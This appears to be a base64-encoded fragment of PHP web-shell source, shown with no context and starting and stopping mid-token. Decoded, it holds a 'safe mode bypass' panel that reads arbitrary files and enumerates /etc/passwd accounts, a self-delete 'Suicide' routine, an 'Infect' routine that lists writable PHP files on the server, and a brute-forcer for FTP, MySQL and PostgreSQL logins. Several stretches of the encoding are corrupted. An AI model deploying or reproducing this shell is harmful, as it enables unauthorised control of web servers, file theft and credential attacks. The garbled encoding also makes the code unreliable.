CdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCiAgICAgICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywKICAgICAgICApOwogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKICAgICAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsKICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgaWYgKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkKICAgICAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7CiAgICAgICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgICAgIGlmIChlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgICAgIHByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4JywgMCk7CiAgICAgICAgaGFyZEhlYWRlcigpOwogICAgICAgIGVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgICAgIGVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgbTdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKGbGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsd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CRwYXRoIC4gJyonLCBHTE9CX09OTFlESVIpKSk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgkcGF0aHMpICYmIEBjb3VudCgkcGF0aHMpKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGF0aHMgYXMgJG9wKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKEBpc19kaXIoJG9wKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHBhdGggIT0gJG9wKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaGFyZFJlY3Vyc2l2ZUdsb2IoJG9wKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydwMiddKSB8fCBAc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRvcCksICRfUE9TVFsncDInXSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIiAuIHVybGVuY29kZSgkb3ApIC4gIlwiLCBcInZpZXdcIixcIlwiKSc+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJG9wKSAuICI8L2E+PGJyPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgLy8gICAgIGlmIChAJF9QT1NUWydwMyddKQogICAgLy8gICAgICAgICBoYXJkUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7CiAgICAvLyAgICAgZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICAvLyAgICAgICAgIDxmb3JtIG1ldGhvZD0ncG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9J2hmJz4KICAgIC8vICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MzMwcHg7Jz48YnI+CiAgICAvLyAgICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhY3QnIHZhbHVlPSdmaW5kJy8+PGJyPgogICAgLy8gICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JkNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaCYWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPgogICAgLy8gICAgICAgICAgICAgPGlucHV0IHN0eWxlPSdtYXJnaW4tbGVmdDogMjBweDsnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J21kNWRlY3J5cHRlci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vd3d3Lm1kNWRlY3J5cHRlci5jb20vJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KICAgIC8vICAgICAgICAgPC9mb3JtPjwvZGl2PiI7CiAgICAvLyAgICAgaGFyZEZvb3RlcigpOwogICAgfQogICAgZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKQogICAgewogICAgICAgICR0ZW1wID0gJyc7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBzd2l0Y2ggKCRfUE9TVFsncDEnXSkgewogICAgICAgICAgICBjYXNlIDE6CiAgICAgICAgICAgICAgICAkdGVtcCA9IEB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsKICAgICAgICAgICAgICAgIGlmIChAY29weSgiY29tcHJlc3MuemxpYjovLyIgLiAkX1BPU1RbJ3AyJ10sICR0ZW1wKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoJHRlbXApOwogICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAyOgogICAgICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10gLiAnKicpOwogICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZmlsZW5hbWUgLiAiXG4iOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgMzoKICAgICAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIgLiAkX1BPU1RbJ3AyJ10gLiAiXHgwMCIgLiBTRUxGX1BBVEgpOwogICAgICAgICAgICAgICAgY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSA0OgogICAgICAgICAgICAgICAgaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOwogICAgICAgICAgICAgICAgaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOwogICAgICAgICAgICAgICAgaW5jbHVkZSgkX1BPU1RbJ3AyJpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgNToKICAgICAgICAgICAgICAgIGZvciAoOyAkX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyAkX1BPU1RbJ3AyJ10rKykgewogICAgICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJHVpZCkKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBqb2luKCc6JywgJHVpZCkgLiAiXG4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgNjoKICAgICAgICAgICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSkKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICRzdHJlYW0gPSBpbWFwX29wZW4oJF9QT1NUWydwMiddLCAiIiwgIiIpOwogICAgICAgICAgICAgICAgaWYgKCRzdHJlYW0gPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBlY2hvIGltYXBfYm9keSgkc3RyZWFtLCAxKTsKICAgICAgICAgICAgICAgIGltYXBfY2xvc2UoJHN0cmVhbSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICBoYXJkSGVhZGVyKCk7CiAgICAgICAgZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgICAgIGVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKGbGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZTZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKGbGwsbnVsbCwiNCIsdGhpcy5wYXJhbSYWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPjxicj48YnI+PHNwYW4+SW1hcF9vcGVuIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjYiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOwogICAgICAgIGlmICgkdGVtcCkKICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicgLiAkdGVtcCAuICc8L3ByZT4nOwogICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgaGFyZEZvb3RlcigpOwogICAgfQogICAgZnVuY3RpbgYWN0aW9uTG9nb3V0KCkKICAgIHsKICAgICAgICBzZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0aW1lKCkgLSAzNjAwKTsKICAgICAgICBkaWUoIjxkaXYgYWxpZ249J2NlbnRlcic+PGRpdiBjbGFzcz0nY29udGFpbmVyJz48ZGl2IGNsYXNzPSdza3knPjxkaXYgY2xhc3M9J3RleHQnPkxPR0dFRCBPVVQ8L2Rpdj48ZGl2IGNsYXNzPSdzdGFycyc+PC9kaXY+PGRpdiBjbGFzcz0nc3RhcnMxJz48L2Rpdj48ZGl2IGNsYXNzPSdzdGFyczInPjwvZGl2PjxkaXYgY2xhc3M9J3Nob290aW5nLXN0YXJzJz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4KICAgIDxzdHlsZT5odG1se2hlaWdodDoxMDAlfWh0bWwgYm9keXt3aWR0aDoxMDAlO2hlaWdodDoxMDAlOhcmdpbjowO2ZvbnQtZmFtaWx5Okbml0bywgc2Fucy1zZXJpZjt9LmNvbnRhaW5lcntkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDpibGFja30uY29udGFpbmVyIC50ZXh0e2NvbG9yOiNmZmY7cG9zaXRpb6YWJzb2x1dGU7dG9wOjUwJTtyaWdodDo1MCU7bWFyZ2luOi0xMHB4IC03NXB4IDAgMDtmb250LXNpemU6MjBweDtmb250LWZhbWlseTpOdW5pdG8sIHNhbnMtc2VyaWY7Zm9udC13ZWlnaHQ6NzAwfS5zaG9vdGluZy1zdGFyc3t6LWluZGV4OjEwO3dpZHRoOjVweDtoZWlnaHQ6ODVweDtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjUwJTtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czo1MCU7cG9zaXRpb246YWJzb2x1dGU7YmdG9tOjA7cmlnaHQ6MDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCh0byB0b3AscmdiYSgyNTUsMjU1LDI1NSwwKSwjZmZmKTthbmltYXRpb6YW5pbVNob290aW5nU3RhciAxMHMgbGluZWFyIGluZmluaXRlfUBrZXlmcmFtZXMgYW5pbVN0YXJ7ZnJvbXt0cmFuc2ZvcmdHJhbnNsYXRlWSgwKXb3t0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMjU2MHB4KSB0cmFuc2xhdGVYKC0yNTYwcHgpfX1Aa2V5ZnJhbWVzIGFuaW1TaG9vdGluZ1N0YXJ7ZnJvbXt0cmFuc2Zvcm06dHJhbnNsYXRlWSgwKSB0cmFuc2xhdGVYKDApIHJvdGF0ZSgtNDVkZWcpO29wYWNpdHk6MTtoZWlnaHQ6NXB4fXRve3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0yNTYwcHgpIHRyYW5zbGF0ZVgoLTI1NjBweCkgcm90YXRlKC00NWRlZyk7b3BhY2l0eToxO2hlaWdodDo4MDBweH19PC9zdHlsZT4KICAgICIpOwogICAgfQogICAgZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpCiAgICB7CiAgICAgICAgaWYgKCRfUE9TVFsncDEnXSA9PSAneWVzJykKICAgICAgICAgICAgaWYgKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCiAgICAgICAgICAgICAgICBkaWUoJ0l0cyBoYXMgYmVlbiByZW1vdmVkJyk7CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGVjaG8gJ3VubGluayBlcnJvciEnOwogICAgICAgIGlmICgkX1BPU1RbJ3AxJ10gIT0gJ3llcycpCiAgICAgICAgICAgIGhhcmRIZWFkZXIoKTsKICAgICAgICBlY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb2ZW50PlJlYWxseSB3YWIHRvIHJlbWZSB0aGUgSXQ/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKGbGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7CiAgICAgICAgaGFyZEZvb3RlcigpOwogICAgfQogICAgZnVuY3Rpb24gYWN0aW9uSW5mZWN0KCkKICAgIHsKICAgICAgICBoYXJkSGVhZGVyKCk7CiAgICAgICAgZWNobyAnPGgxPkluZmVjdDwvaDE+PGRpdiBjbGFzcz1jb2ZW50Pic7CiAgICAgICAgaWYgKCRfUE9TVFsncDEnXSA9PSAnaW5mZWN0JykgewogICAgICAgICAgICAkdGFyZ2V0ID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKICAgICAgICAgICAgZnVuY3Rpb24gTGlzdEZpbGVzKCRkaXIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAkaW5uZXJfZmlsZXMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpciAuICIvIiAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IExpc3RGaWxlcygkZGlyIC4gIi8iIC4gJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkaW5uZXJfZmlsZXMpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZmlsZXMsICRpbm5lcl9maWxlcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZpbGVzLCAkZGlyIC4gIi8iIC4gJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRmaWxlczsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBmb3JlYWNoIChMaXN0RmlsZXMoJHRhcmdldCkgYXMgJGtleSA9PiAkZmlsZSkgewogICAgICAgICAgICAgICAgJG5GaWxlID0gc3Vic3RyKCRmaWxlLCAtNCwgNCk7CiAgICAgICAgICAgICAgICBpZiAoJG5GaWxlID09ICIucGhwIikgewogICAgICAgICAgICAgICAgICAgIGlmICgoJGZpbGUgPD4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICRfU0VSVkVSWydQSFBfU0VMRiddKSAmJiAoaXNfd3JpdGVhYmxlKCRmaWxlKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiJGZpbGU8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9I2ExMDcwNSBzaXplPTE0PiRpPC9mb250PiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUluZmVjdCBuYW1lPWluZmV0PjwvZm9ybT4iOwogICAgICAgICAgICBlY2hvICdSZWFsbHkgd2FudCB0byBpbmZlY3QgdGhlIHNlcnZlcj8mbmJzcDs8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCdpbmZlY3RcJykiPlllczwvYT48L2Rpdj4nOwogICAgICAgIH0KICAgICAgICBoYXJkRm9vdGVyKCk7CiAgICB9CiAgICBmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkKICAgIHsKICAgICAgICBoYXJkSGVhZGVyKCk7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncHJvdG8nXSkpIHsKICAgICAgICAgICAgZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKSAuICcgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkgLiAnPGJyPic7CiAgICAgICAgICAgIGlmICgkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcpIHsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCAkcG9ydCwgJGxvZ2luLCAkcGFzcykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydCA/ICRwb3J0IDogMjEpOwogICAgICAgICAgICAgICAgICAgIGlmICghJGZwKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkX1BPU1RbJ3Byb3RvJgPT0gJ215c3FsJykgewogICAgICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsICRwb3J0LCAkbG9naW4sICRwYXNzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAgLiAnOicgLiAoJHBvcnQgPyAkcG9ydCA6IDMzMDYpLCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgICAgICBAbXlzcWxfY2xvc2UoJHJlcyk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJykgewogICAgICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsICRwb3J0LCAkbG9naW4sICRwYXNzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIiAuICRpcCAuICInIHBvcnQ9JyIgLiAkcG9ydCAuICInIHVzZXI9JyIgLiAkbG9naW4gLiAiJyBwYXNzd29yZD0nIiAuICRwYXNzIC4gIicgZGJuYW1lPXBvc3RncmVzIjsKICAgICAgICAgICAgICAgICAgICAkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7CiAgICAgICAgICAgICAgICAgICAgQHBnX2Nsb3NlKCRyZXMpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRzdWNjZXNzID0gMDsKICAgICAgICAgICAgJGF0dGVtcHRzID0gMDsKICAgICAgICAgICAgJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsKICAgICAgICAgICAgaWYgKCRfUE9TVFsndHlwZSddID09IDEpIHsKICAgICAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3d